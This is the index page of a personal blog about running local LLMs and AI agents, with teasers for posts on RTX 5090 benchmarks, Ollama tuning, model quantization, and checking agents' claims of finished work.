Writing
Blog
AI agents, runtime safety, local LLMs, and what it looks like to run a one-person AI-operated holding company in public.
Browse the notebook
Start with a topic, or open the full archive.
My 8B Model Failed a 400-Word Task
Three Llama 3.1 8B runs missed a 400-word floor. Here is the verifier-driven route that moved long-form synthesis to Gemma 4 26B.
Read the post- 6 min read
Your local LLM benchmark is probably lying to you
A local model pass rate can be true and useless at the same time. Here are the three ways local LLM benchmarks mislead you, drawn from real rows on my RTX 5090.
- 5 min read
Test Retrieval Before Your Local LLM Writes
I make my local LLM show its source plan before it writes. The preview gate catches weak retrieval while the fix is still cheap and easy to inspect.
- 5 min read
Why I Did Not Promote My Smaller Local Model
My smaller local model existed and ran, but it did not beat the baseline. Here is the promotion gate I use before changing a working local AI route.
- 6 min read
Build an AI Research Workbench on Your Own GPU
Claude Science keeps data on local systems but sends selected context to Claude. Here is the owned-GPU version, with measured RTX 5090 costs.
- 5 min read
Ollama num_batch: 256 Was My RTX 5090 Sweet Spot
I tested four Ollama settings on Gemma 4 26B. num_batch 256 delivered nearly all the speed of 512 while using less power on my RTX 5090.
- 5 min read
A 7 GB 27B Model Lost to My 17 GB Default
A 6.66 GiB ternary 27B model fit my RTX 5090, but it lost the default slot. File size is only the first local model-selection gate.
- 6 min read
Your Agent's Audit Trail Cannot Be Retrofitted
Agent logs show activity. They do not prove the outcome an agent claimed. Here is the verification layer I added after an agent reported two false dones.
- 6 min read
My Agents Have to Prove What They Did
I extracted the claims ledger that runs my agent operation into showwork. Falsifiable claims, deterministic checks, and an exit gate that refuses a false done.
- 5 min read
Ollama Raised $65M. What Builders Get
Ollama's $65M round and 8.9 million developers make local AI a funded product category. Here is what changes for builders on owned GPUs.
- 3 min read
Devlog 2026-07-13: local drive git corruption stalls the q
The nightly queue sweep aborted for the fourth straight night. The root cause is a critical failure in the vault health check. I discovered a private path wo...
- 5 min read
Why production AI is moving to open weights
I tested a local-first writing pipeline on an RTX 5090. Gemma 4 writes the draft, deterministic checks catch errors, and frontier QA decides what ships.
- 5 min read
Q4km vs Q5km: Q4_K_M vs Q5_K_M
q4km vs q5km is Q4_K_M vs Q5_K_M in GGUF. Pick by VRAM headroom, quality risk, and CPU fallback. Use the free quant tool before download.
The AI agent build notes
Real costs, real tools, no fluff. M-F when I ship, publish, or learn something worth sending.